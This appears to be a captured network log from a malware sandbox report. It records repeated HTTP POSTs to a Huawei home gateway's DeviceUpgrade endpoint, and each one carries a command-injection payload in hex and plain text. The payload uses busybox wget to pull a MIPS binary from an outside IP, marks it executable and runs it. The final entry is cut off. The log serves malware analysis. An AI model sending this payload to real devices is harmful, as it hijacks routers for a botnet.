Nov 19, 2023 09:16:38.341568947 CET	1511	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:50.371891022 CET	1820	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228216887 CET	2574	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	49260	156.241.101.157	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.006706953 CET	1254	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.198333025 CET	1347	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:38.341567039 CET	1510	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:50.371841908 CET	1819	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228204012 CET	2574	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	156.241.101.157	37215	192.168.2.23	49260

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.006706953 CET	1254	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.198333025 CET	1347	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 